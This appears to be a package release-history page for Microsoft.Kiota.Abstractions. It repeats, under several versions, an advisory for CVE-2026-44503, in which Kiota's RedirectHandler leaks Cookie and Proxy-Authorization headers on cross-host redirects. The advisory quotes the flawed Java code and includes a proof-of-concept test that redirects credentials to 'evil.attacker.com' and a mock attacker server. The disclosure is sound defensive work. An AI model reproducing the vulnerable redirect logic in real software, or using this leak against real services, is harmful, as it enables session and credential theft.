Microsoft.Kiota.Abstractions

Version	Released
`2.1.2` patch	Sep 08, 2026
`2.1.1` patch	Sep 04, 2026
`2.0.2` patch	Sep 04, 2026
`2.0.1` patch	Sep 04, 2026
`2.1.0` minor	Sep 02, 2026
`2.0.0` major	May 06, 2026
`1.22.2` patch	May 06, 2026
`1.22.1` patch	Mar 19, 2026
`1.22.0` minor	Mar 03, 2026
`1.21.3` patch 1 CVE	Feb 05, 2026
`1.21.2` patch 1 CVE	Jan 19, 2026
`1.21.1` patch 1 CVE	Dec 18, 2025
`1.21.0` minor 1 CVE	Oct 28, 2025
`1.20.1` patch 1 CVE	Sep 29, 2025
`1.20.0` minor 1 CVE	Sep 23, 2025
`1.19.1` patch 1 CVE	Aug 12, 2025
`1.19.0` minor 1 CVE	Jun 18, 2025
`1.18.0` minor 1 CVE	Jun 18, 2025
`1.17.4` patch 1 CVE	Jun 02, 2025
`1.17.3` patch 1 CVE	May 22, 2025
`1.17.2` patch 1 CVE	Apr 03, 2025
`1.17.1` patch 1 CVE	Feb 12, 2025
`1.17.0` minor 1 CVE	Feb 06, 2025
`1.16.4` patch 1 CVE	Jan 15, 2025
`1.16.3` patch 1 CVE	Jan 07, 2025
`1.16.2` patch 1 CVE	Jan 07, 2025
`1.16.1` patch 1 CVE	Dec 19, 2024
`1.16.0` minor 1 CVE	Dec 13, 2024
`1.15.2` patch 1 CVE	Nov 14, 2024
`1.15.1` patch 1 CVE	Nov 14, 2024
`1.15.0` minor 1 CVE	Nov 13, 2024
`1.14.0` minor 1 CVE	Nov 06, 2024
`1.13.2` patch 1 CVE	Oct 30, 2024
`1.13.1` patch 1 CVE	Oct 11, 2024
`1.13.0` minor 1 CVE	Sep 25, 2024
`1.12.4` patch 1 CVE	Sep 05, 2024
`1.12.3` patch 1 CVE	Sep 03, 2024
`1.12.2` patch 1 CVE	Aug 26, 2024
`1.12.1` patch 1 CVE	Aug 22, 2024
`1.12.0` minor 1 CVE	Aug 20, 2024
`1.11.3` patch 1 CVE	Aug 16, 2024
`1.11.2` patch 1 CVE	Aug 14, 2024
`1.11.1` patch 1 CVE	Aug 13, 2024
`1.11.0` minor 1 CVE	Aug 09, 2024
`1.10.1` patch 1 CVE	Aug 01, 2024
`1.10.0` minor 1 CVE	Jul 31, 2024
`1.9.12` patch 1 CVE	Jul 31, 2024
`1.9.11` patch 1 CVE	Jul 23, 2024
`1.9.10` patch 1 CVE	Jul 19, 2024
`1.9.9` patch 1 CVE	Jul 12, 2024

2.1.2 patch

Sep 08, 2026

2.1.1 patch

Sep 04, 2026

2.0.2 patch

Sep 04, 2026

2.0.1 patch

Sep 04, 2026

2.1.0 minor

Sep 02, 2026

2.0.0 major

May 06, 2026

1.22.2 patch

May 06, 2026

1.22.1 patch

Mar 19, 2026

1.22.0 minor

Mar 03, 2026

1.21.3 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 05, 2026

1.21.2 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 19, 2026

1.21.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 18, 2025

1.21.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 28, 2025

1.20.1 patch

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.

This vulnerability is present in the RedirectHandlers for:

https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go

Details

Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.

This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.

Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:

boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}

PoC

Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java

With this content:

package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;

public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}

@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}

Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.

Impact

The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.

Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.

Impact:

Session hijacking via leaked Cookie headers
Corporate proxy credential theft via leaked Proxy-Authorization
API key theft via leaked custom auth headers (X-API-Key, etc.)

All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.

Affected versions


          1.0.0


          1.0.1


          1.1.0


          1.1.1


          1.1.2


          1.1.3


          1.1.4


          1.10.0


          1.10.1


          1.11.0


          1.11.1


          1.11.2

+ 76 more


            1.11.3


            1.12.0


            1.12.1


            1.12.2


            1.12.3


            1.12.4


            1.13.0


            1.13.1


            1.13.2


            1.14.0


            1.15.0


            1.15.1


            1.15.2


            1.16.0


            1.16.1


            1.16.2


            1.16.3


            1.16.4


            1.17.0


            1.17.1


            1.17.2


            1.17.3


            1.17.4


            1.18.0


            1.19.0


            1.19.1


            1.2.0


            1.2.1


            1.20.0


            1.20.1


            1.21.0


            1.21.1


            1.21.2


            1.21.3


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.4.0


            1.5.0


            1.6.0


            1.6.1


            1.7.0


            1.7.1


            1.7.10


            1.7.11


            1.7.12


            1.7.2


            1.7.3


            1.7.4


            1.7.5


            1.7.6


            1.7.7


            1.7.8


            1.7.9


            1.8.0


            1.8.1


            1.8.2


            1.8.3


            1.8.4


            1.9.0


            1.9.1


            1.9.10


            1.9.11


            1.9.12


            1.9.2


            1.9.3


            1.9.4


            1.9.5


            1.9.6


            1.9.7


            1.9.8


            1.9.8-preview


            1.9.9

Fixed in


          1.22.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Sep 29, 2025

1.20.0 minor

1 CVE

CVE-2026-44503 GHSA-7j59-v9qr-6fq9 GO-2026-5224 PYSEC-2026-2647 May 07, 2026

Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect

High

Network Low None

Summary

